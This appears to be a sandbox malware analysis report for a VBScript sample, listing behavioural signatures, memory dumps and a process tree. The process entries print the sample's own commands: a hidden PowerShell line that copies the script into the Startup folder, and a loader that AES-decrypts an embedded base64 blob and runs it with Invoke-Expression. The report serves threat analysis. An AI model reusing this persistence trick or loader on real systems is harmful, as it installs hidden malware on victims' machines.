Analysis
- max time kernel
148s - max time network
123s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260618-en - resource tags
- submitted
23/06/2026, 11:14
General
- Target TPURIN01260601401.vbs
- Size 1.5MB
- Sample260623-nb12aacs3m
- SHA256 879dd84317070383446e37d5fd07a1c4d30b493a4a4bf9a6d15de20e77ddec30
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Drops startup file 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs"1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\TPURIN01260601401.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TPURIN01260601401.vbs' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "try { $indignly = [System.Text.Encoding]::UTF8.GetBytes('VKvXmZ6TZ9m4a9dU'); if ($indignly.Length -lt 32) { $indignly = $indignly + (0..(31 - $indignly.Length)) }; $childbed = [Convert]::FromBase64String('QWAjaJHB0selLPHlNllJweLLut3hYm00pqsfjDKIjBVlEr228zEPJ5mK2DOO/bowpWKAt2M/jqiq9THcZb+OvuYiojLCCceIu9A0uGr2OT/DKOHKnHwMF4bmUEfdcxTv1g1RPPPP0nmlg8/fsob1nnV5n24KAxO0HM71UTE4Uzcx4+zfCNE9Nx+01s76siPqhIzZIbHn+0h4Om4oq78pVYT10QUZPyhJrlEdBGd2efpVIWkEjxgwTLmiq3DLb3Igy9Qcb916rVb1F/qGETItuaxUj1THKc/+Fp3rwuU1YRX9wu7tUSDojyUCFI3BTGiO6yOhZfJ17DP6WZpBDVPg/Df4ZPk3qCGalErAgxphHfTuLJYsVf+UIbDN+upgJfp3UCaziZY9ZlJA+hjRkkSISbp6eH8OomwfMcOcE44NsJVFbxsKB4YJ/OlPn2bXPDLKpCWVhmuy9UoE9ZaJ0R1kEZ9k1f8wHFCN985Q6ybnZYlF9Yv5mItmGplET4jtAAxvGvgpMetaVwnsdgQyrApCPDI4XQunVBgo0vScc+yOgexrfSfjZFqQc/UwUODWEuLwulFc1BA7bSYoDYUTJLIj05OJtR/PI/nlUZJhY8LzMo3Dr8lRJJBtYTebmJsb1GHIigpcms8q5juVD06klzbHM5bG2jvZdvMwbe7rx1kP0mF9L2E/k8taB5IZ7JxNDM/o6anmN30j02aRHVJBrlZCLpDlezG1ly7h6+QlKsmFrwJsu2LLf3/WVQb2MG35vXxGvCGWT+d/XdsdQXQqHhMIBgvjkZdNHqWfbzMkBn4S8W9TQd44Xh0VGdNgaJc9PLsvIsZ8NyLTAK2x8oiCjMw7LEFfbl+hBkVDx9S1MNHyt2HhQnnJLtCiuNZ6gEqC6MEt99VJu0ZggUM4uhVxrd5WVfzgwuzTZy6x5NhKs7A957tY40z8tEiswwvIa+jNhdzdmbLbyY54C5cn/L85Fw2XFYIodAbxI2RM45kB8s3ej8mQcl7sLET1128X0LVxrfQ+b+tvXILk/sLHGgi7jop30dsUn4AK4hBg3DVAYB5fMWyGkh/rCm4Nw0aUgtgNECUhp/5qAkY2r6Brhh0q7ZcUNcDZbI9Wv6D1jLCDxooWZ236YYoY2J+Ax/mz9PrtdfaVCgwW51EstVBN/qIFNcp/2NXrOGOZXfK8lEd0ljttUVThlunEeTeKI5hl374pNKS/VO1opVMxIRy3JunLRyrPsOmvmrje2UzXrxVcQ5Q+7kQBeVg7YoIAawsA7Jzel1mumYqAEAysOldpgxBGblq6LVkU1M8cY+ROXHn6X3e4sjiJhiV5Y6Mc21fmJhoJrWvXBdEx5mFngEyGszqPZbodjBpz2B1RuQ7v24iq24aiIH+u8zN5zXoW4wr9psqBNrQNA58qS/OVuuSrTAn76mOfhXLB4V/1NMETBHVoKD100+qgRt1ZdDRLwGIN/4rzPdapSQoipDjJEuL/ieVjbkj//uqwFozXF3DC8rCMU77Nlb7tM3/7P+oU7cKaLb6F2V1QUe3xevuELr+0msUrgqAhwtqz7Y6fiXWEBubKGIS2kX1UH51H+cLBgFjdh+i8x/hQ8HW/tQX4KhV3dYe2iA7JGxNizs3vvGBzWstmmY5g3IZTIHOX1plTkTGWZEqGJVWgEBfu6qDxkiLAAjEK6AfwFrDbIC6xtBdDQ5XTjBew4tk='); $tarped = $childbed[0..15]; $ambigenous = $childbed[16..($childbed.Length-1)]; $bitterwood = [System.Security.Cryptography.Aes]::Create(); $bitterwood.Key = $indignly; $bitterwood.IV = $tarped; $hassidic = $bitterwood.CreateDecryptor(); $fissipeda = $hassidic.TransformFinalBlock($ambigenous, 0, $ambigenous.Length); $seizling = [System.Text.Encoding]::UTF8.GetString($fissipeda); Invoke-Expression $seizling; } catch {}"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
memory/1716-18-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-3-0x00000178C4820000-0x00000178C4842000-memory.dmp
memory/1716-5-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-6-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-7-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-8-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-9-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-10-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-4-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-11-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/1716-0-0x00007FFCE979F000-0x00007FFCE97A0000-memory.dmp
memory/3928-15-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-13-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-20-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-19-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-21-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-22-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-12-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-23-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp
memory/3928-26-0x00007FFCE9610000-0x00007FFCE9FB4000-memory.dmp